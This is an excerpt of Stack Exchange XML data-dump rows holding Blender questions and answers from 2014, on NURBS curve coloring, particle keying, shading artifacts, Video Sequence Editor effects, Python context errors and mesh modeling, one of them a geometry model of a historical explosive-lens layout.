  <row Id="6084" PostTypeId="1" AcceptedAnswerId="6146" CreationDate="2014-01-08T07:14:49.927" Score="3" ViewCount="1212" Body="&lt;p&gt;I have a NURBS curve which has some thickness (since I set the Bevel Object to be a circle).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hAnRh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a list of RGB values specifying what color the curve should be at each point along the NURBS curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this with Python?  It may have been easy if NURBS curves allowed vertex painting, but it appears that they don't.&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2014-02-09T07:31:59.560" Title="Use Python to add multiple colors to a NURBS curve" Tags="&lt;python&gt;&lt;bezier-curves&gt;&lt;vertex-colors&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6085" PostTypeId="1" CreationDate="2014-01-08T07:39:09.403" Score="14" ViewCount="1591" Body="&lt;p&gt;How can I achieve per-vertex lighting (like in single/multi-texture shading) in GLSL with all of the other GLSL features (like buffer shadows, texture layers, etc.)? Bonus points if it can be done in the viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could bake the lights to v-cols but that is not realtime and I don't get any of the GLSL features (or hemi lamps for the matter) with single/multi-texture shading.&lt;/p&gt;&#xA;" OwnerUserId="1106" LastEditorUserId="599" LastEditDate="2014-01-09T22:02:29.680" LastActivityDate="2016-06-05T09:51:38.600" Title="Per-Vertex lighting in GLSL?" Tags="&lt;rendering&gt;&lt;game-engine&gt;&lt;3d-view&gt;&lt;light&gt;&lt;opengl&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6087" PostTypeId="2" ParentId="6044" CreationDate="2014-01-08T09:59:30.450" Score="2" Body="&lt;p&gt;There's the PyButtons patch to allow custom widgets:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=mRiTfLpRlRU&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=mRiTfLpRlRU&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gives some freedom, but we lack an empty window type for it...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can also overlay many editors with draw handlers.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-01-08T09:59:30.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6088" PostTypeId="1" AcceptedAnswerId="6089" CreationDate="2014-01-08T10:44:19.567" Score="3" ViewCount="1171" Body="&lt;p&gt;Is it possible to control particles that they would form one object and after some kind of particle dispersion they would form another object. For example from cube particle fly and form cylinder form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e0i2Z.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1751" LastActivityDate="2014-12-19T16:57:26.373" Title="Particles dispersion from one object to another" Tags="&lt;particles&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6089" PostTypeId="2" ParentId="6088" CreationDate="2014-01-08T10:49:23.953" Score="4" Body="&lt;p&gt;Yes it is possible, you would need to add a particle system to the cube as well as the cylinder, after that you create a controlling object (the plane in my example) and add both particle systems as key targets to the keys in the physics tab where &lt;em&gt;Keyed&lt;/em&gt; must be enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4mjgw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you play the animation &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt; the particles move from the first key to the next (you can have more than two of them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bYs1r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Documentation &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Particles/Physics/Keyed&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-01-08T10:55:50.550" LastActivityDate="2014-01-08T10:55:50.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6090" PostTypeId="2" ParentId="6028" CreationDate="2014-01-08T12:01:31.087" Score="1" Body="&lt;p&gt;I found how to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First to mention, I maybe was pretty unclear in my question.&#xA;What I needed to do is extrude the vertices including the lines which they are connected to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@sambler gave me a link in his answer where they told how to extrude the vertices with the lines untouched (at least, that was what happened to me).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, here comes the solution.&#xA;I use the menu which comes up when I hit the N button, then if folding out the menu 'Transform' you see values for the vertex (at least one vertice has to be selected ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can move one vertice or a whole loop-cut, depending of what you select with your mouse before you change the value(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note. To get the vertices correct distance from left and bottom, I found that&#xA;it is simplest to &#xA;1. Place the objects lover-left corner at coordinates y0 x0.&#xA;2. Move the 3d-cursor to that point.&#xA;3. In object-mode, choose menu 'Object-&gt;Transform-&gt;Origin to 3d Cursor'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you @sambler . Even though you not gave me the precise answer, maybe because my question not was very precise. You gave me some correlated knowledge.&lt;/p&gt;&#xA;" OwnerUserId="2079" LastEditorUserId="2079" LastEditDate="2014-01-08T20:45:45.137" LastActivityDate="2014-01-08T20:45:45.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6091" PostTypeId="2" ParentId="6079" CreationDate="2014-01-08T13:32:48.583" Score="1" Body="&lt;p&gt;I think the option you are looking for is called &lt;strong&gt;Draw Waveform&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;em&gt;Video Sequence Editor&lt;/em&gt;, press &lt;kbd&gt;N&lt;/kbd&gt; to display the &lt;em&gt;Properties Toolbar&lt;/em&gt;. Find the &lt;em&gt;Sound&lt;/em&gt; panel (while the audio track is selected) and enable the &lt;em&gt;Draw Waveform&lt;/em&gt; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mbz2e.jpg&quot; alt=&quot;Video Sequence Editor - Draw Waveform option in the sidebar&amp;#39;s Sound panel&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="1363" LastEditDate="2014-02-07T14:36:09.600" LastActivityDate="2014-02-07T14:36:09.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6092" PostTypeId="2" ParentId="6084" CreationDate="2014-01-08T14:22:11.340" Score="0" Body="&lt;p&gt;You could use a Colour Ramp to get a variation of colour along a curve but I don't see an easy way to match a point on a curve to a point in the ramp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you may want to create a mesh cylinder and define the colours on it at the locations you want and then use a curve modifier to deform the mesh to the shape you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the python to create the material will vary depending on whether you are going to use blender internal or cycles.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-01-08T14:22:11.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6093" PostTypeId="1" AcceptedAnswerId="6099" CreationDate="2014-01-08T16:49:42.897" Score="2" ViewCount="5756" Body="&lt;p&gt;I tried to model a simple keypad, I got this model after using a boolean modifier on an array of cylinders and a cube:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wQuN8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The face of the cube had way too much edges and as suggested here &lt;a href=&quot;https://blender.stackexchange.com/questions/5373/cutting-hole-in-plane-with-line-loop&quot;&gt;Cutting hole into a face with a line loop?&lt;/a&gt; I used limited dissolve and got this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UjN2b.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be a good way not to get the rendering artifacts on the plane?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The face normals look like that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ekmi3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-01-08T21:12:38.293" Title="How can I remove artifacts from a flat surface after using a boolean modifier?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6094" PostTypeId="2" ParentId="6093" CreationDate="2014-01-08T17:05:30.680" Score="0" Body="&lt;p&gt;EDIT: Based on the comment (and the update) it seems like pinching is much more likely than backward normals. Oddly shaped polygons can be difficult to render in OpenGL, but they often look okay when fully rendered (per-pixel shading, versus vertex shading).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The artifacts are actually unrelated to the question about holes in faces. The artifacts are a consequence of surface normals that aren't all facing the same direction. In the 3D viewport, &lt;kbd&gt;tab&lt;/kbd&gt; into edit mode and press &lt;kbd&gt;n&lt;/kbd&gt; to open the settings panel. There's a section in that panel marked &quot;View,&quot; where you can turn on &quot;Draw Normals&quot; (there are two buttons, one for vertex and one for face, you want face normals). This will make blue lines that show the direction each face normal is pointing. They need to all point the same direction. If you find a normal pointing the wrong direction, select that face (face select mode is easiest), press &lt;kbd&gt;ctrl&lt;/kbd&gt;-&lt;kbd&gt;f&lt;/kbd&gt;, and select &quot;Flip Normals.&quot; Repeat this process with each incorrect face until all the faces have normals that are pointing the same direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally, if you have a fully enclosed mesh, then in edit mode you can select Mesh-&gt;Normals-&gt;Recalculate Outside to solve this problem all at once. But the mesh you've displayed doesn't look like it's enclosed. (A sphere or a cube would be fully enclosed, and a plane is not. If there were a hole in the sphere or cube, it would not be fully enclosed, and it would be difficult for Blender to be certain which side was &quot;outside&quot; and which side was &quot;inside&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the &quot;best&quot; method for putting holes in a plane, that really depends on what you're doing. The method you're using here is a common one, and if the artifacts are the only problem, then it is probably &quot;best.&quot;&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="1653" LastEditDate="2014-01-08T21:12:38.293" LastActivityDate="2014-01-08T21:12:38.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6095" PostTypeId="1" AcceptedAnswerId="6100" CreationDate="2014-01-08T17:36:48.220" Score="7" ViewCount="1384" Body="&lt;p&gt;I'm trying to make a model of the first atomic bomb's &lt;a href=&quot;http://en.wikipedia.org/wiki/Explosive_lens&quot; rel=&quot;nofollow noreferrer&quot;&gt;high explosive lens configuration&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://upload.wikimedia.org/wikipedia/commons/thumb/8/83/Implosion_nuclear_weapon_design_-_explosive_lenses.svg/500px-Implosion_nuclear_weapon_design_-_explosive_lenses.svg.png&quot; alt=&quot;Example from Wikipedia&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shape is a &lt;a href=&quot;http://en.wikipedia.org/wiki/Truncated_icosahedron&quot; rel=&quot;nofollow noreferrer&quot;&gt;truncated icosahedron&lt;/a&gt; composed of extruded octagons and pentagons. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modeling a single solid truncated icosahedron is easy — there are lots of tutorials out there under &quot;how to model a soccer ball&quot; (make an icosphere, apply a single subsurf to it, tweak the center of the vertices a little). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm struggling to see how I can turn something like that into a model that is composed of the 32 separate 3D octagons and pentagons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I've tried making a truncated icosahedron, extruding it, deleting the all of the shapes except one pair of inner/outer octagons, connecting their edges manually (since extrude won't for such a complex shape)... which is a &lt;em&gt;very&lt;/em&gt; slow and tricky process (it's a lot of vertices/edges to wade through for each shape).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way that I am missing? If I had one octagon and one pentagon, would it be then easy to have them tile around the sphere in this way? (I haven't been able to manage it with Array or Mirror; the angles seem just a little too eccentric for the transformation defaults).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would be appreciated. &lt;/p&gt;&#xA;" OwnerUserId="2098" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.283" LastActivityDate="2019-02-16T19:18:41.747" Title="How to model component pieces of a geometric solid?" Tags="&lt;modeling&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6096" PostTypeId="1" CreationDate="2014-01-08T17:38:45.317" Score="1" ViewCount="744" Body="&lt;p&gt;I need to write a Python function that computes the direction a triangle slopes. More specifically, I need to be able to compute which way a marble would roll if placed on a triangle defined by three points and at what point the marble would fall off the edge of that triangle. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the math is beyond me. Any help would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a diagram that helps illustrate the situation:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XuDKH.png&quot; alt=&quot;Triangular Slope&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="537" LastActivityDate="2014-02-08T14:31:58.217" Title="Python Function to Discover Triangle Slope" Tags="&lt;python&gt;&lt;geometry&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6097" PostTypeId="2" ParentId="6093" CreationDate="2014-01-08T17:41:54.937" Score="2" Body="&lt;p&gt;The problem was solved by setting &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Smoothing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Shading&lt;/a&gt; to flat in the &lt;em&gt;Object Tools Panel&lt;/em&gt;  &lt;kbd&gt;T&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s3VeZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-01-08T17:41:54.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6099" PostTypeId="2" ParentId="6093" CreationDate="2014-01-08T19:05:44.530" Score="2" Body="&lt;p&gt;Along with using &lt;em&gt;Shade Flat&lt;/em&gt;, you can still smooth shade your model and use an &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Smoothing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Edge split&lt;/a&gt; modifier. See &lt;a href=&quot;https://blender.stackexchange.com/a/735/12&quot;&gt;How to smooth shade an object while retaining hard edges?&lt;/a&gt; for more info. If your model is faceted or not exactly flat, using shade flat will keep the hard edges but smoothing and using this modifier can get around that.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2014-01-08T19:05:44.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6100" PostTypeId="2" ParentId="6095" CreationDate="2014-01-08T19:12:10.277" Score="6" Body="&lt;p&gt;I accomplished this. I have removed some of the facets to show the inner side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gONsx.png&quot; alt=&quot;bomb&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make a football (as you said, subsurf an icosahedron, dissolve all vertices on middle and edges).&lt;/li&gt;&#xA;&lt;li&gt;Add the edge split modifier with split angle 1. This will make each ngon (pentagon and hexagon) separate from its neigbours.&lt;/li&gt;&#xA;&lt;li&gt;Apply the modifier.&lt;/li&gt;&#xA;&lt;li&gt;Go into edit mode and select all faces.&lt;/li&gt;&#xA;&lt;li&gt;Extrude all faces but right click directly. This will make them double but select all faces that will form the outer shell.&lt;/li&gt;&#xA;&lt;li&gt;Scale out the selected faces.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="395" LastActivityDate="2014-01-08T19:12:10.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6101" PostTypeId="1" CreationDate="2014-01-08T20:13:35.037" Score="43" ViewCount="29549" Body="&lt;p&gt;I keep on getting context errors in the Blender Python API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand the issue of the context in the API, how do I know which is the correct context? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2099" LastEditorUserId="1363" LastEditDate="2014-02-20T18:58:41.097" LastActivityDate="2019-03-01T09:41:26.993" Title="poll() failed, context incorrect? - Example: bpy.ops.view3d.background_image_add()" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="26" ContentLicense="CC BY-SA 3.0" />
  <row Id="6102" PostTypeId="2" ParentId="6093" CreationDate="2014-01-08T21:00:30.993" Score="2" Body="&lt;p&gt;Note that you can also set specific faces to flat shading while keeping others smooth shaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply select the face(s) you want to shade smooth/flat and press the appropriate shading button in &lt;em&gt;Tool shelf &gt; Mesh Tools &gt; Shading&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LAhWk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is useful in case you don't want to use the edge split modifier.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-01-08T21:00:30.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6104" PostTypeId="1" CreationDate="2014-01-08T21:42:38.843" Score="3" ViewCount="713" Body="&lt;p&gt;I have a problem in the VSE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to have some nice dark corners in movie so I added a white image with black corners and then added a multiply effect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works, but when I add 'fade to black' to that by crossing video with black colour, just before the crossing my dark corners disappear. Multiply stops as cross begins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does this happen?&lt;/p&gt;&#xA;" OwnerUserId="1866" LastEditorUserId="599" LastEditDate="2014-01-08T23:02:47.750" LastActivityDate="2014-01-08T23:02:47.750" Title="Why does a cross effect in the Video Sequence Editor overwrite a multiply effect?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6105" PostTypeId="2" ParentId="6101" CreationDate="2014-01-08T21:47:07.897" Score="59" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The context members available depend on the area of blender which is&#xA;  currently being accessed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://docs.blender.org/api/current/bpy.context.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;bpy.context&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Many operators have a “poll” function which may check that the mouse&#xA;  is a valid area or that the object is in the correct mode (Edit Mode,&#xA;  Weight Paint etc). When an operator’s poll function fails within&#xA;  python, an exception is raised.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://docs.blender.org/api/current/info_quickstart.html#operator-poll&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;Operator.poll()&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More about &lt;a href=&quot;https://docs.blender.org/api/current/info_gotcha.html#using-operators&quot; rel=&quot;noreferrer&quot;&gt;using Operators&lt;/a&gt; and why you experience poll-fails (mouse not over right screen area or wrong mode / other pre-condition). Also see the &lt;a href=&quot;https://docs.blender.org/api/current/info_gotcha.html#why-does-an-operator-s-poll-fail&quot; rel=&quot;noreferrer&quot;&gt;Gotchas section&lt;/a&gt; of the API docs about that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Run an operator via &lt;a href=&quot;http://www.blender.org/api/blender_python_api_current/info_tutorial_addon.html#write-the-addon-simple&quot; rel=&quot;noreferrer&quot;&gt;spacebar menu&lt;/a&gt; (see bottom of the section) in Blender 2.7x or using &lt;kbd&gt;F3&lt;/kbd&gt; as of Blender 2.8x from the proper &lt;a href=&quot;https://docs.blender.org/api/current/bpy.types.Area.html#bpy.types.Area&quot; rel=&quot;noreferrer&quot;&gt;Area&lt;/a&gt; (&lt;a href=&quot;https://docs.blender.org/api/current/bpy.types.Operator.html?highlight=bl_options#bpy.types.Operator.bl_options&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;bl_options&lt;/code&gt;&lt;/a&gt; must not contain &lt;code&gt;'INTERNAL'&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Specify the right &lt;em&gt;execution context&lt;/em&gt; for the operator call (this fixes the context error &lt;strong&gt;only for some!&lt;/strong&gt;)&lt;br&gt;(&lt;a href=&quot;https://docs.blender.org/api/current/bpy.ops.html?#execution-context&quot; rel=&quot;noreferrer&quot;&gt;API docs&lt;/a&gt;, &lt;a href=&quot;https://blender.stackexchange.com/a/3623/1363&quot;&gt;example&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Use an &lt;a href=&quot;https://docs.blender.org/api/current/bpy.ops.html#overriding-context&quot; rel=&quot;noreferrer&quot;&gt;override&lt;/a&gt; to pass the required context arguments&lt;/li&gt;&#xA;&lt;li&gt;Change the &lt;a href=&quot;https://docs.blender.org/api/current/bpy.types.Area.html#bpy.types.Area.type&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;Area.type&lt;/code&gt;&lt;/a&gt; temporarily&lt;/li&gt;&#xA;&lt;li&gt;Use &quot;low-level&quot; API functions to achieve the same result without context worries&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Override&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Doesn't seem to work for this operator?! It adds a background but without name / texture.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        override = bpy.context.copy()&#xA;        override['area'] = area&#xA;        bpy.ops.view3d.background_image_add(override, name=&quot;BG&quot;, filepath=r&quot;image.png&quot;)&#xA;        break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;By the way:&lt;/em&gt;&lt;br&gt;&#xA;You can pass an empty dict (like &lt;code&gt;bpy.ops.example.operator({})&lt;/code&gt;), which usually prints warnings to the system console about the context members missing. You need to pass these members and repeat until it doesn't complain anymore. But beware of certain operators, which require scene bases - if you don't provide a reference to them, Blender will crash to desktop before you even find out they are needed.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Change Area.type&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;area = bpy.context.area&#xA;old_type = area.type&#xA;area.type = 'VIEW_3D'&#xA;bpy.ops.view3d.background_image_add(name=&quot;BG&quot;, filepath=r&quot;image.png&quot;)&#xA;area.type = old_type&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Low-level&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Similar to the override, you need a 3D View instance, in this case its space data (because this is the place where backgrounds reside). The following code takes the first 3D View of the current screen layout (if there's one), adds a new background and sets the image to an image datablock:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;filepath = r&quot;C:\path\to\image.png&quot;&#xA;&#xA;img = bpy.data.images.load(filepath)&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        space_data = area.spaces.active&#xA;        bg = space_data.background_images.new()&#xA;        bg.image = img&#xA;        break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="3710" LastEditDate="2019-03-01T09:41:26.993" LastActivityDate="2019-03-01T09:41:26.993" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="6106" PostTypeId="2" ParentId="6104" CreationDate="2014-01-08T21:52:20.030" Score="2" Body="&lt;p&gt;It sounds like your cross effect strip is being applied on top of the multiply effect strip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result of the effect strip completely overrides any strips below it. To work around this, use the cross effect strip to blend the multiply effect strip and the black color strip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many variations on how to go about this, for example:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Method 1&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a Multiply effect strip with the image and the video strips selected.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a Cross effect strip with the Multiply effect strip and the color strip selected.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Method 2&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a Cross effect strip with the color strip and the video selected&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;Blend&lt;/em&gt; of the image strip to &lt;em&gt;Multiply&lt;/em&gt; in &lt;em&gt;Properties region (&lt;kbd&gt;N&lt;/kbd&gt;) &gt; Edit strip &gt; Blend&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Method 3&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a Multiply effect strip with the color strip and the video selected&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a black color strip on top and keyframe the &lt;em&gt;Opacity&lt;/em&gt; in &lt;em&gt;Properties region (&lt;kbd&gt;N&lt;/kbd&gt;) &gt; Edit strip&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Method 4&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Without any effect strips:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the blend of the image to &lt;em&gt;Multiply&lt;/em&gt; and move it above the video strip&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a color strip on top and keyframe the &lt;em&gt;Opacity&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://blender.stackexchange.com/questions/2102/fade-to-black-effect-in-video-sequence-editor?rq=1&quot;&gt;this question&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-01-08T22:58:16.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6107" PostTypeId="1" CreationDate="2014-01-08T21:52:44.603" Score="6" ViewCount="9941" Body="&lt;p&gt;Using the knife project tool I have been able to scale my entire mesh to TWO resolutions,  cut out (and delete) the ear from the low-resolution model, cut out the ear from the HIGH-resolution model (using the same vertex path), and graft it onto the low-resolution model:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c728J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result is good; it is an almost perfect join.  Only in a few places can I see a tiny gap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it is still 2 objects, and simply joining them doesn't connect the meshes.  I would like to connect the meshes so that I can smooth around the join line, and use the 'simplify' brush to transition gradually from big triangles to small triangles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any such tool?&lt;/p&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2015-05-08T07:06:16.963" Title="How to weld two objects along a common seam?" Tags="&lt;mesh&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
